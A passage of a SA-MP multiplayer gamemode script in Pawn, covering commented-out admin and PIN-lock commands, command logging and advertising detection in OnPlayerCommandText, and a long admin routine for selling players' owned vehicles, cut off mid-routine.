			TextDrawHideForPlayer(dis, WarA[OnWar[dis]]);
			TextDrawHideForPlayer(dis, WarVS);
			TextDrawHideForPlayer(dis, WarD[OnWar[dis]]);
			PlayerTextDrawHide(dis, WarK);
			PlayerTextDrawHide(dis, WarDea);
			PlayerTextDrawHide(dis, WarS);
			//PlayerTextDrawHide(dis, WarT);
			TextDrawHideForPlayer(dis, WarTR[OnWar[dis]]);

			return 1;
		}


		CMD:stoppb(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 7) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			StopPaintBalling();
			return 1;
		}
		CMD:cwar(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 7) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new dixs[146];
			if(sscanf(params,"s",dixs)) return SCM(playerid, COL_SYN, "Syntax: /cwar <Playerid/PartOfName> ");
			new dis = ReturnUser6(dixs);
			new str[128];
			format(str, sizeof(str), "OnWar: %i", OnWar[dis]);
			SendMessage(playerid, COLOR_RED, str);
			return 1;
		}
		CMD:relog(playerid,params[]) {

			GetPlayerTag(playerid);
			new string[30];
			isRelogging[playerid] = true;
			GetPlayerIp(playerid, relogPlayerIP[playerid], 17);
			format(string, sizeof(string), "banip %s", relogPlayerIP[playerid]);
			SetTimerEx("reloging",11000,0,"i",playerid);
			SendRconCommand(string);
			SetPlayerInterior(playerid, 0);
			SetPlayerCameraPos(playerid, 1020.8905, -1782.4042, 90.0785);
			SetPlayerCameraLookAt(playerid, 556.1578, -1441.9774, 80.5746);

			InterpolateCameraLookAt(playerid, 1020.8905, -1782.4042, 90.0785, 556.1578, -1441.9774, 80.5746, 20000, CAMERA_MOVE);
			InterpolateCameraPos(playerid, 1020.8905, -1782.4042, 90.0785, 556.1578, -1441.9774, 80.5746, 25000, CAMERA_MOVE);


			SendMessage(playerid, COLOR_SINA3, "Your relog request is proccesing ...");
			return 1;
		}
		CMD:addpin(playerid,params[]) {
			if(PlayerInfo[playerid][pPinned] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: you already added a pin.");

				SelectTextDraw(playerid, 0x00FF00FF);

				for(new i=0; i<10; i++) // Show boxes
			{
				TextDrawShowForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_box][i]);
			}
			for(new i=0; i<10; i++) // Show numbers
			{
				TextDrawShowForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i]);
			}


			TextDrawShowForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_bg]); // Show the grey background box
			SelectTextDraw(playerid, 0x00FF00FF); // Allow the player to select textdraws with the mouse cursor
			TextDrawShowForPlayer(playerid, BoxInput1);
			TextDrawShowForPlayer(playerid, BoxInput2);
			TextDrawShowForPlayer(playerid, BoxInput3);
			TextDrawShowForPlayer(playerid, BoxInput4);
			PlayerTextDrawShow(playerid, Input1);
			PlayerTextDrawShow(playerid, Input2);
			PlayerTextDrawShow(playerid, Input3);
			PlayerTextDrawShow(playerid, Input4);
			TextDrawShowForPlayer(playerid, Ok);
			TextDrawShowForPlayer(playerid, Clear);
			TextDrawShowForPlayer(playerid, Cancel);
			Cancele[playerid] = 1;
			pining[playerid] = 1;
			PinType[playerid] = 1;
			return 1;
		}
		CMD:pininfo(playerid,params[]) {
			new pin[1024];
			format(pin, sizeof(pin), "The PIN code is a security code used to grant you the ability to use important commands. Here are useful commands:\n\n * /addpin - Opens up a key pad which allows you to enter a 4-digit PIN Code.\n * /changepin - Opens up a key pad which allows you to change your PIN code.\n * /unlockacc - Opens up a key pad which allows you to enter your PIN code and unlock your account.\n * /lockacc - this will lock your account.\n");
			ShowPlayerDialog(playerid, 210000, DIALOG_STYLE_MSGBOX,"Security Code Information", pin,"Ok", "");
			return 1;
		}
		CMD:changepin(playerid,params[]) {
			if(PlayerInfo[playerid][pPinned] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't pin code. (use /addpin)");
			if(LockAcc[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: you must unlock your account. (/unlockacc)");

				SelectTextDraw(playerid, 0x00FF00FF);

				for(new i=0; i<10; i++) // Show boxes
			{
				TextDrawShowForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_box][i]);
			}
			for(new i=0; i<10; i++) // Show numbers
			{
				TextDrawShowForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i]);
			}


			TextDrawShowForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_bg]); // Show the grey background box
			SelectTextDraw(playerid, 0x00FF00FF); // Allow the player to select textdraws with the mouse cursor
			TextDrawShowForPlayer(playerid, BoxInput1);
			TextDrawShowForPlayer(playerid, BoxInput2);
			TextDrawShowForPlayer(playerid, BoxInput3);
			TextDrawShowForPlayer(playerid, BoxInput4);
			PlayerTextDrawShow(playerid, Input1);
			PlayerTextDrawShow(playerid, Input2);
			PlayerTextDrawShow(playerid, Input3);
			PlayerTextDrawShow(playerid, Input4);
			TextDrawShowForPlayer(playerid, Ok);
			TextDrawShowForPlayer(playerid, Clear);
			TextDrawShowForPlayer(playerid, Cancel);
			Cancele[playerid] = 1;
			SCM(playerid, COLOR_YELLOW, "Enter a new password , you never must forget this password.")
			pining[playerid] = 1;
			PinType[playerid] = 3;
			return 1;
		}
		CMD:pin(playerid,params[]) {
			if(PlayerInfo[playerid][pPinned] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: you didn't enter pin.");
			if(LockAcc[playerid] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: your account already was unlocked.");
				SelectTextDraw(playerid, 0x00FF00FF);

				for(new i=0; i<10; i++) // Show boxes
			{
				TextDrawShowForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_box][i]);
			}
			for(new i=0; i<10; i++) // Show numbers
			{
				TextDrawShowForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i]);
			}

			TextDrawShowForPlayer(playerid, Ok);
			TextDrawShowForPlayer(playerid, Clear);
			TextDrawShowForPlayer(playerid, Cancel);
			TextDrawShowForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_bg]); // Show the grey background box
			SelectTextDraw(playerid, 0x00FF00FF); // Allow the player to select textdraws with the mouse cursor
			TextDrawShowForPlayer(playerid, BoxInput1);
			TextDrawShowForPlayer(playerid, BoxInput2);
			TextDrawShowForPlayer(playerid, BoxInput3);
			TextDrawShowForPlayer(playerid, BoxInput4);
			PlayerTextDrawShow(playerid, Input1);
			PlayerTextDrawShow(playerid, Input2);
			PlayerTextDrawShow(playerid, Input3);
			PlayerTextDrawShow(playerid, Input4);
			Cancele[playerid] = 1;
			pining[playerid] = 1;
			PinType[playerid] = 2;
			return 1;
		}
		CMD:unlockacc(playerid,params[]) {
			return cmd_pin(playerid,params);
		}
		CMD:lockacc(playerid,params[]) {
			if(LockAcc[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: your account already was locked.");
			GameTextForPlayer(playerid, "~W~Your Account ~R~Locked", 3000, 3);
			LockAcc[playerid] = 1;
			return 1;
		}

		CMD:setarmorall(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 2) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new Float:dis;
			new Float:rpam;
			if(sscanf(params,"ff",dis,rpam)) return SCM(playerid, COL_SYN, "Syntax: /setarmorall <Distance(FLOAT)> <Amount(FLOAT)>");
			if(rpam > 0.0)
			{
				if(dis > 0.0)
				{
					new lolstr[200];
					format(lolstr, 200, "Admin %s has set all players online armour to %.2f.", PINFO[playerid][pName], rpam);
					for(new i = 0;i < Akharish;i++)
					{
						if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
						{
							SetPlayerZereh(i, rpam);
							SCM(i, COLOR_LIGHTRED, lolstr);
						}
					}
					format(lolstr, 200, "{FFFFFF}%s has set all players armor to %.2f in %.2f distance.", PINFO[playerid][pName], rpam, dis);
					AdminWarn(lolstr);
				}
				else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid armor.");
			return 1;
		}

		CMD:levelforall(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 8) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			new rpam;
			if(sscanf(params,"i",rpam)) return SCM(playerid, COL_SYN, "Syntax: /levelforall <Amount>");
			if(rpam > 0)
			{
				new lolstr[200];
				format(lolstr, 200, "Admin %s has given %i level(s) to all online players.", PINFO[playerid][pName], rpam);
				for(new i = 0;i < Akharish;i++)
				{
					if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
					{
						PINFO[i][pLevel] += rpam;
						SaveKonVal(i, "pLevel", PINFO[i][pLevel]);
					}
				}
				SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid level.");
			return 1;
		}
		CMD:racd(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 5) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new Float:dis;
			if(sscanf(params,"f",dis)) return SCM(playerid, COL_SYN, "Syntax: /racd <Distance(FLOAT)>");
			if(dis > 0.0)
			{
				new Float:ui[6];
				GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
				for(new i = 0; i < MAX_VEHICLES;i++)
				{
					if(IsVehicleConnected(i))
					{
						GetVehiclePos(i, ui[3], ui[4], ui[5]);
						if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
						{
							SetVehicleToRespawn(i);
						}
					}
				}
				new lolstr[256];
				format(lolstr, 256, "{FFFFFF}Admin %s has RAC all vehicles in %.2f distance.", PINFO[playerid][pName], dis);
				AdminWarn(lolstr);
		   }
		   else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
		   return 1;
		}

		CMD:afill(playerid,params[]) {
			if(PINFO[playerid][pAdmin] < 5) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new Float:dis;
			if(sscanf(params,"f",dis)) return SCM(playerid, COL_SYN, "Syntax: /afill <Distance(FLOAT)>");
			if(dis > 0.0)
			{
				new Float:ui[6];
				GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
				for(new i = 0; i < MAX_VEHICLES;i++)
				{
					if(IsVehicleConnected(i))
					{
						GetVehiclePos(i, ui[3], ui[4], ui[5]);
						if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
						{
							Benzin[i] = 100;
						}
					}
				}
				new lolstr[256];
				format(lolstr, 256, "{FFFFFF}Admin %s has fill all vehicles in %.2f distance.", PINFO[playerid][pName], dis);
				AdminWarn(lolstr);
		   }
		   else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
		   return 1;
		}
		*/
public OnPlayerCommandText(playerid, cmdtext[])
{
if(FCNPC_IsValid(playerid)) return 1;
if(!gPlayerLogged[playerid] || mpop[playerid] == 5566)
{
return 1;
}
//AFKCheckActiveAdad[playerid] = 0;
//	new index;
	new sender[40];
	new playermoney;
	new sendername[MAX_PLAYER_NAME];
	new giveplayer[MAX_PLAYER_NAME];
	new playername[MAX_PLAYER_NAME];
	new giveplayeru[MAX_PLAYER_NAME];
	new cmd[146];
	new tmp[146];
	new giveplayerid, moneys, idx;
	new idcar = GetPlayerVehicleID(playerid);
	new pveh = GetVehicleModel(GetPlayerVehicleID(playerid));
	cmd = strtok(cmdtext, idx);
	GetPlayerName(playerid, sender, sizeof(sender));
    if(strcmp(cmd, "/enter", true) && strcmp(cmd, "/exit", true) && strcmp(cmd, "/fr", true) && strcmp(cmd, "/rngrjpackjmeav", true) && strcmp(cmd, "/lock", true) && strcmp(cmd, "/order", true))
	{
    MyCmdSpams[playerid]++;
	}
    if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0)
    {
    if(strcmp(cmd, "/unlockacc", true) && strcmp(cmd, "/pin", true) && strcmp(cmd, "/exit", true) && strcmp(cmd, "/enter", true) && strcmp(cmd, "/sleep", true) && strcmp(cmd, "/autologin", true) && strcmp(cmd, "/autosleep", true) && strcmp(cmd, "/b", true)
    && strcmp(cmd, "/s", true) && strcmp(cmd, "/say", true) && strcmp(cmd, "/low", true) && strcmp(cmd, "/turn", true) && strcmp(cmd, "/h", true) && strcmp(cmd, "/p", true) && strcmp(cmd, "/relog", true) && strcmp(cmd, "/animhelp", true) &&
    strcmp(cmd, "/animlist", true) && strcmp(cmd, "/stopanim", true) && strcmp(cmd, "/fr", true) && strcmp(cmd, "/engine", true) && strcmp(cmd, "/mysamp", true))
	{
    SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
    return 1;
	}
    }
	new strchat3[150];
	format(strchat3, sizeof(strchat3), "(CMD) %s: %s", sender, cmdtext);
	if(strcmp(cmd, "/enter", true) && strcmp(cmd, "/exit", true) && strcmp(cmd, "/fr", true)) {

	SendMessage(Specer[playerid],  COLOR_RED, strchat3);
	printf("%s", strchat3);

	}
	for(new i = 0;i<Akharish;i++) {
	if(IsPlayerConnected(i) && Specer[i] != 9999 && i != playerid) {
	new Float:x,Float:y,Float:z;
	GetPlayerPos(i, x, y, z);
	if(PlayerToPoint(30.0, playerid,x,y,z)) {

//	new sender[40];
	GetPlayerName(playerid, sender, sizeof(sender));
//	new strchat3[150];
	format(strchat3, sizeof(strchat3), "(RECON) [CMD]%s: %s", sender, cmdtext);
	SendMessage(Specer[i],  COLOR_RED, strchat3);

	}
	}
	}

	AFKTime[playerid] = 0;
	if(strcmp(cmd, "/immauth", true) && strcmp(cmd, "/sleepauth", true) && (gPlayerLogged[playerid] == 0 || mpop[playerid] == 5566)) return SCM(playerid,COLOR_SINA3,"First login into the server.");
	new noghtepos = strfind(cmdtext, ".", true);
	if(PINFO[playerid][pAdmin] < 12)
	{
	   if(noghtepos != -1)
	   {
		  new noghte, adad;
		  for(new i = 0;i<strlen(cmdtext);i++)
		  {
			 switch(cmdtext[i])
			 {
				case '.':noghte++;
				case 0x30..0x39:adad++;
			 }
		  }
		  if(adad >= 5)
		  {
			 if(noghte >= 3)
			 {
				if(cmdtext[noghtepos+1] >= 0x30 && cmdtext[noghtepos+1] <= 0x39)
				{
					new strdetect[150];
					format(strdetect, 150, "{FFFFFF}%s needs to advertising on the server: %s", PINFO[playerid][pName], cmdtext);
					AdminWarn(strdetect);
					return 1;
				}

				if(cmdtext[noghtepos+1] == '' || cmdtext[noghtepos+1] == ' ')
				{
					if(cmdtext[noghtepos+1] >= 0x30 && cmdtext[noghtepos+1] <= 0x39)
					{
					   new strdetect[150];
					   format(strdetect, 150, "{FFFFFF}%s needs to advertising on the server: %s", PINFO[playerid][pName], cmdtext);
					   AdminWarn(strdetect);
					   return 1;
					}
				}
			 }
		  }
	   }
	}


	//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=asellcar=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

		if(strcmp(cmd, "/vturbo", true) == 0)
		{
		if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You should sit in a vehicle.");
	    if(PINFO[playerid][pAdmin] < 8 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
		new veh = GetPlayerVehicleID(playerid);
		if(OwnedMashin[veh] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't put a turbo system on personal vehicles.");
		new mirzaghalamdoon[144];
		if(VehicleTurbo[veh] == 0)
		{
	      format(mirzaghalamdoon, sizeof(mirzaghalamdoon), "{ffffff}Admin %s has put turbo system on vehicle id %d",RPName(playerid), veh);
          AdminWarn(mirzaghalamdoon);
          VehicleTurbo[veh] = 1;
          return 1;
		}
		
		else if(VehicleTurbo[veh] == 1)
		{
	      format(mirzaghalamdoon, sizeof(mirzaghalamdoon), "{ffffff}Admin %s has taken turbo system from vehicle id %d",RPName(playerid), veh);
          AdminWarn(mirzaghalamdoon);
          VehicleTurbo[veh] = 0;
          return 1;
		}
		
		
		return 1;
		}
		if(!strcmp(cmd, "/asellcar", true))
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 11)
				{
					new string[512];
					if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COL_SYN,"You are not in a personal car");
					new veh = GetPlayerVehicleID(playerid);
					new owner = MashinOwner[veh];
					new v,cid,ved;
					if(OwnedMashin[veh] == 0) return SCM(playerid,COL_SYN,"That vehicle isn't a ownable car.");

					if(veh == PINFO[owner][pCar_1]) {

					v = PlayerInfo[owner][pVeh1];
					cid = PlayerInfo[owner][pCar_1];



					vInfo[v][cLocationx] = 0.0;
					SaveKonFloatV(v, "cLocationx", 0);
					vInfo[v][cLocationy] = 0.0;
					SaveKonFloatV(v, "cLocationy", 0);
					vInfo[v][cLocationz] = 0.0;
					SaveKonFloatV(v, "cLocationz", 0);
					vInfo[v][cAngle] = 0.0;
					SaveKonFloatV(v, "cAngle", 0);
					vInfo[v][cColor1] = 9999;
					SaveKonValV(v, "cColor1", 9999);
					vInfo[v][cColor2] = 9999;
					SaveKonValV(v, "cColor2", 9999);
					vInfo[v][cModel] = 0;
					SaveKonValV(v, "cModel", 0);
					vInfo[v][cPrice] = 0;
					SaveKonValV(v, "cPrice", 0);
					strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					vInfo[v][cLock] = 0;
					SaveKonValV(v, "cLock", 0);
					vInfo[v][cDestroyed] = 0;
					SaveKonValV(v, "cDestroyed", 0);
					vInfo[v][cFixed] = 0;
					SaveKonValV(v, "cFixed", 0);
					vInfo[v][cInsurance] = 0;
					SaveKonValV(v, "cInsurance", 0);
					vInfo[v][cFuel] = 0;
					SaveKonValV(v, "cFuel", 0);
					vInfo[v][cHealth] = 0.0;
					SaveKonFloatV(v, "cHealth", 0);
					vInfo[v][gLocationX] = 0;
					SaveKonFloatV(v, "gLocationX", 0);
					vInfo[v][gLocationY] = 0;
					SaveKonFloatV(v, "gLocationY", 0);
					vInfo[v][gLocationZ] = 0;
					SaveKonFloatV(v, "gLocationZ", 0);
					vInfo[v][gAngle] = 0;
					SaveKonFloatV(v, "gAngle", 0);
					vInfo[v][gParked] = 0;
					SaveKonValV(v, "gParked", 0);
					vInfo[v][cMod1] = 0;
					SaveKonValV(v, "cMod1", 0);
					vInfo[v][cMod3] = 0;
					SaveKonValV(v, "cMod3", 0);
					vInfo[v][cMod4] = 0;
					SaveKonValV(v, "cMod4", 0);
					vInfo[v][cMod5] = 0;
					SaveKonValV(v, "cMod5", 0);
					vInfo[v][cMod6] = 0;
					SaveKonValV(v, "cMod6", 0);
					vInfo[v][cMod7] = 0;
					SaveKonValV(v, "cMod7", 0);
					vInfo[v][cMod8] = 0;
					SaveKonValV(v, "cMod8", 0);
					vInfo[v][cMod9] = 0;
					SaveKonValV(v, "cMod9", 0);
					vInfo[v][cMod10] = 0;
					SaveKonValV(v, "cMod10", 0);
					vInfo[v][cMod11] = 0;
					SaveKonValV(v, "cMod11", 0);
					vInfo[v][cMod12] = 0;
					SaveKonValV(v, "cMod12", 0);
					vInfo[v][cMod13] = 0;
					SaveKonValV(v, "cMod13", 0);
					vInfo[v][cMod14] = 0;
					SaveKonValV(v, "cMod14", 0);
					vInfo[v][cMod15] = 0;
					SaveKonValV(v, "cMod15", 0);
					vInfo[v][cMod16] = 0;
					SaveKonValV(v, "cMod16", 0);
					vInfo[v][cMod17] = 0;
					SaveKonValV(v, "cMod17", 0);
					vInfo[v][cPaintJob] = 3;
					SaveKonValV(v, "cPaintJob", 3);
					vInfo[v][cKilo] = 0.0;
					SaveKonFloatV(v, "cKilo", 0);
					vInfo[v][cPanel] = 0;
					SaveKonValV(v, "cPanel", 0);
					vInfo[v][cDoors] = 0;
					SaveKonValV(v, "cDoors", 0);
					vInfo[v][cLights] = 0;
					SaveKonValV(v, "cLights", 0);
					vInfo[v][cTires] = 0;
					SaveKonValV(v, "cTires", 0);
					ved = GetVehicleModel(cid)-400;
					format(string, sizeof(string), "{FFFFFF}Admin %s sold %s's %s.",PINFO[owner][pName],aVehicleNames[ved]);
					AdminWarn(string);

					format(string, sizeof(string), "WARNING: Admin %s sold your %s.",PINFO[playerid][pName],aVehicleNames[ved]);
					SendClientMessage(owner,COLOR_SINA3,string);

					PINFO[owner][pCar_1] = 0;
					PINFO[owner][pVeh1] = 0;

					SaveKonVal(owner, "pVeh1", 0);
					SaveKonVal(owner, "pCar_1", 0);

					MashinOwner[cid] = 9999;
					OwnedMashin[cid] = 0;
					DestroyVehicle(cid, false);

					return 1;

					}
					else if(veh == PINFO[owner][pCar_2]) {

					v = PlayerInfo[owner][pVeh2];
					cid = PlayerInfo[owner][pCar_2];



					vInfo[v][cLocationx] = 0.0;
					SaveKonFloatV(v, "cLocationx", 0);
					vInfo[v][cLocationy] = 0.0;
					SaveKonFloatV(v, "cLocationy", 0);
					vInfo[v][cLocationz] = 0.0;
					SaveKonFloatV(v, "cLocationz", 0);
					vInfo[v][cAngle] = 0.0;
					SaveKonFloatV(v, "cAngle", 0);
					vInfo[v][cColor1] = 9999;
					SaveKonValV(v, "cColor1", 9999);
					vInfo[v][cColor2] = 9999;
					SaveKonValV(v, "cColor2", 9999);
					vInfo[v][cModel] = 0;
					SaveKonValV(v, "cModel", 0);
					vInfo[v][cPrice] = 0;
					SaveKonValV(v, "cPrice", 0);
					strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					vInfo[v][cLock] = 0;
					SaveKonValV(v, "cLock", 0);
					vInfo[v][cDestroyed] = 0;
					SaveKonValV(v, "cDestroyed", 0);
					vInfo[v][cFixed] = 0;
					SaveKonValV(v, "cFixed", 0);
					vInfo[v][cInsurance] = 0;
					SaveKonValV(v, "cInsurance", 0);
					vInfo[v][cFuel] = 0;
					SaveKonValV(v, "cFuel", 0);
					vInfo[v][cHealth] = 0.0;
					SaveKonFloatV(v, "cHealth", 0);
					vInfo[v][gLocationX] = 0;
					SaveKonFloatV(v, "gLocationX", 0);
					vInfo[v][gLocationY] = 0;
					SaveKonFloatV(v, "gLocationY", 0);
					vInfo[v][gLocationZ] = 0;
					SaveKonFloatV(v, "gLocationZ", 0);
					vInfo[v][gAngle] = 0;
					SaveKonFloatV(v, "gAngle", 0);
					vInfo[v][gParked] = 0;
					SaveKonValV(v, "gParked", 0);
					vInfo[v][cMod1] = 0;
					SaveKonValV(v, "cMod1", 0);
					vInfo[v][cMod3] = 0;
					SaveKonValV(v, "cMod3", 0);
					vInfo[v][cMod4] = 0;
					SaveKonValV(v, "cMod4", 0);
					vInfo[v][cMod5] = 0;
					SaveKonValV(v, "cMod5", 0);
					vInfo[v][cMod6] = 0;
					SaveKonValV(v, "cMod6", 0);
					vInfo[v][cMod7] = 0;
					SaveKonValV(v, "cMod7", 0);
					vInfo[v][cMod8] = 0;
					SaveKonValV(v, "cMod8", 0);
					vInfo[v][cMod9] = 0;
					SaveKonValV(v, "cMod9", 0);
					vInfo[v][cMod10] = 0;
					SaveKonValV(v, "cMod10", 0);
					vInfo[v][cMod11] = 0;
					SaveKonValV(v, "cMod11", 0);
					vInfo[v][cMod12] = 0;
					SaveKonValV(v, "cMod12", 0);
					vInfo[v][cMod13] = 0;
					SaveKonValV(v, "cMod13", 0);
					vInfo[v][cMod14] = 0;
					SaveKonValV(v, "cMod14", 0);
					vInfo[v][cMod15] = 0;
					SaveKonValV(v, "cMod15", 0);
					vInfo[v][cMod16] = 0;
					SaveKonValV(v, "cMod16", 0);
					vInfo[v][cMod17] = 0;
					SaveKonValV(v, "cMod17", 0);
					vInfo[v][cPaintJob] = 3;
					SaveKonValV(v, "cPaintJob", 3);
					vInfo[v][cKilo] = 0.0;
					SaveKonFloatV(v, "cKilo", 0);
					vInfo[v][cPanel] = 0;
					SaveKonValV(v, "cPanel", 0);
					vInfo[v][cDoors] = 0;
					SaveKonValV(v, "cDoors", 0);
					vInfo[v][cLights] = 0;
					SaveKonValV(v, "cLights", 0);
					vInfo[v][cTires] = 0;
					SaveKonValV(v, "cTires", 0);
					ved = GetVehicleModel(cid);
					format(string, sizeof(string), "{FFFFFF}Admin %s sold %s's %s.",PINFO[owner][pName],aVehicleNames[ved]);
					AdminWarn(string);

					format(string, sizeof(string), "WARNING: Admin %s sold your %s.",PINFO[playerid][pName],aVehicleNames[ved]);
					SendClientMessage(owner,COLOR_SINA3,string);

					PINFO[owner][pCar_2] = 0;
					PINFO[owner][pVeh2] = 0;

					SaveKonVal(owner, "pVeh2", 0);
					SaveKonVal(owner, "pCar_2", 0);

					MashinOwner[cid] = 9999;
					OwnedMashin[cid] = 0;
					DestroyVehicle(cid, false);

					return 1;

					}

					else if(veh == PINFO[owner][pCar_3]) {

					v = PlayerInfo[owner][pVeh3];
					cid = PlayerInfo[owner][pCar_3];



					vInfo[v][cLocationx] = 0.0;
					SaveKonFloatV(v, "cLocationx", 0);
					vInfo[v][cLocationy] = 0.0;
					SaveKonFloatV(v, "cLocationy", 0);
					vInfo[v][cLocationz] = 0.0;
					SaveKonFloatV(v, "cLocationz", 0);
					vInfo[v][cAngle] = 0.0;
					SaveKonFloatV(v, "cAngle", 0);
					vInfo[v][cColor1] = 9999;
					SaveKonValV(v, "cColor1", 9999);
					vInfo[v][cColor2] = 9999;
					SaveKonValV(v, "cColor2", 9999);
					vInfo[v][cModel] = 0;
					SaveKonValV(v, "cModel", 0);
					vInfo[v][cPrice] = 0;
					SaveKonValV(v, "cPrice", 0);
					strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					vInfo[v][cLock] = 0;
					SaveKonValV(v, "cLock", 0);
					vInfo[v][cDestroyed] = 0;
					SaveKonValV(v, "cDestroyed", 0);
					vInfo[v][cFixed] = 0;
					SaveKonValV(v, "cFixed", 0);
					vInfo[v][cInsurance] = 0;
					SaveKonValV(v, "cInsurance", 0);
					vInfo[v][cFuel] = 0;
					SaveKonValV(v, "cFuel", 0);
					vInfo[v][cHealth] = 0.0;
					SaveKonFloatV(v, "cHealth", 0);
					vInfo[v][gLocationX] = 0;
					SaveKonFloatV(v, "gLocationX", 0);
					vInfo[v][gLocationY] = 0;
					SaveKonFloatV(v, "gLocationY", 0);
					vInfo[v][gLocationZ] = 0;
					SaveKonFloatV(v, "gLocationZ", 0);
					vInfo[v][gAngle] = 0;
					SaveKonFloatV(v, "gAngle", 0);
					vInfo[v][gParked] = 0;
					SaveKonValV(v, "gParked", 0);
					vInfo[v][cMod1] = 0;
					SaveKonValV(v, "cMod1", 0);
					vInfo[v][cMod3] = 0;
					SaveKonValV(v, "cMod3", 0);
					vInfo[v][cMod4] = 0;
					SaveKonValV(v, "cMod4", 0);
					vInfo[v][cMod5] = 0;
					SaveKonValV(v, "cMod5", 0);
					vInfo[v][cMod6] = 0;
					SaveKonValV(v, "cMod6", 0);
					vInfo[v][cMod7] = 0;
					SaveKonValV(v, "cMod7", 0);
					vInfo[v][cMod8] = 0;
					SaveKonValV(v, "cMod8", 0);
					vInfo[v][cMod9] = 0;
					SaveKonValV(v, "cMod9", 0);
					vInfo[v][cMod10] = 0;
					SaveKonValV(v, "cMod10", 0);
					vInfo[v][cMod11] = 0;
					SaveKonValV(v, "cMod11", 0);
					vInfo[v][cMod12] = 0;
					SaveKonValV(v, "cMod12", 0);
					vInfo[v][cMod13] = 0;
					SaveKonValV(v, "cMod13", 0);
					vInfo[v][cMod14] = 0;
					SaveKonValV(v, "cMod14", 0);
					vInfo[v][cMod15] = 0;
					SaveKonValV(v, "cMod15", 0);
					vInfo[v][cMod16] = 0;
					SaveKonValV(v, "cMod16", 0);
					vInfo[v][cMod17] = 0;
					SaveKonValV(v, "cMod17", 0);
					vInfo[v][cPaintJob] = 3;
					SaveKonValV(v, "cPaintJob", 3);
					vInfo[v][cKilo] = 0.0;
					SaveKonFloatV(v, "cKilo", 0);
					vInfo[v][cPanel] = 0;
					SaveKonValV(v, "cPanel", 0);
					vInfo[v][cDoors] = 0;
					SaveKonValV(v, "cDoors", 0);
					vInfo[v][cLights] = 0;
					SaveKonValV(v, "cLights", 0);
					vInfo[v][cTires] = 0;
					SaveKonValV(v, "cTires", 0);
					ved = GetVehicleModel(cid);
					format(string, sizeof(string), "{FFFFFF}Admin %s sold %s's %s.",PINFO[owner][pName],aVehicleNames[ved]);
					AdminWarn(string);

					format(string, sizeof(string), "WARNING: Admin %s sold your %s.",PINFO[playerid][pName],aVehicleNames[ved]);
					SendClientMessage(owner,COLOR_SINA3,string);

					PINFO[owner][pCar_3] = 0;
					PINFO[owner][pVeh3] = 0;

					SaveKonVal(owner, "pVeh3", 0);
					SaveKonVal(owner, "pCar_3", 0);

					MashinOwner[cid] = 9999;
					OwnedMashin[cid] = 0;
					DestroyVehicle(cid, false);

					return 1;

					}

					else if(veh == PINFO[owner][pCar_4]) {

					v = PlayerInfo[owner][pVeh4];
					cid = PlayerInfo[owner][pCar_4];



					vInfo[v][cLocationx] = 0.0;
					SaveKonFloatV(v, "cLocationx", 0);
